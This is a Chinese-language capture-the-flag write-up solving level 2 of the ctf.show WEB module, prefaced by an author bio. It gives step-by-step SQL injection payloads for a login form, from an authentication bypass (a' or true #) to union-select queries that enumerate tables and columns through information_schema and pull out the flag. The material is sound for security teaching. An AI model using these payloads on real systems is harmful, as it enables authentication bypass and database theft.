「作者简介」:冬奥会网络安全中国代表队,CSDN Top100,就职奇安信多年,以实战工作为基础著作 《网络安全自学教程》,适合基础薄弱的同学系统化的学习网络安全,用最短的时间掌握最核心的技术。
ctf.show WEB模块第2关是一个SQL注入漏洞,请求方式是POST请求,注入点是单引号字符型注入,flag就藏在当前的数据库的flag表中,使用联合注入获取数据即可
在用户名的输入框中输入万能账号 a' or true #,密码随便输
登录成功,万能账号生效了,并且把查询到的用户名显示到了页面中,既然有显示位,那我们就用联合注入进行脱库
首先,测试一下回显的位置,在用户名的输入框中输入一下payload,密码还是随便输
a' union select 1,2,3 #
接下来,我们修改payload中2的位置,就可以将数据回显到页面中了,下面获取当前使用的数据库,盲猜flag就藏在当前使用的数据库中
a' union select 1,database(),3 #
数据库有了,接下来是脱表,在用户名的输入框中输入一下payload,密码还是随便输
a' union select 1,
(select group_concat(table_name) from information_schema.tables
where table_schema='web2')
,3 #
接下来获取flag表的字段
a' union select 1,
(select group_concat(column_name) from information_schema.columns
where table_schema='web2' and table_name='flag')
,3 #
接下来获取flag表的数据
a' union select 1,(select flag from flag),3 #
将flag的内容整体复制到输入框中即可过关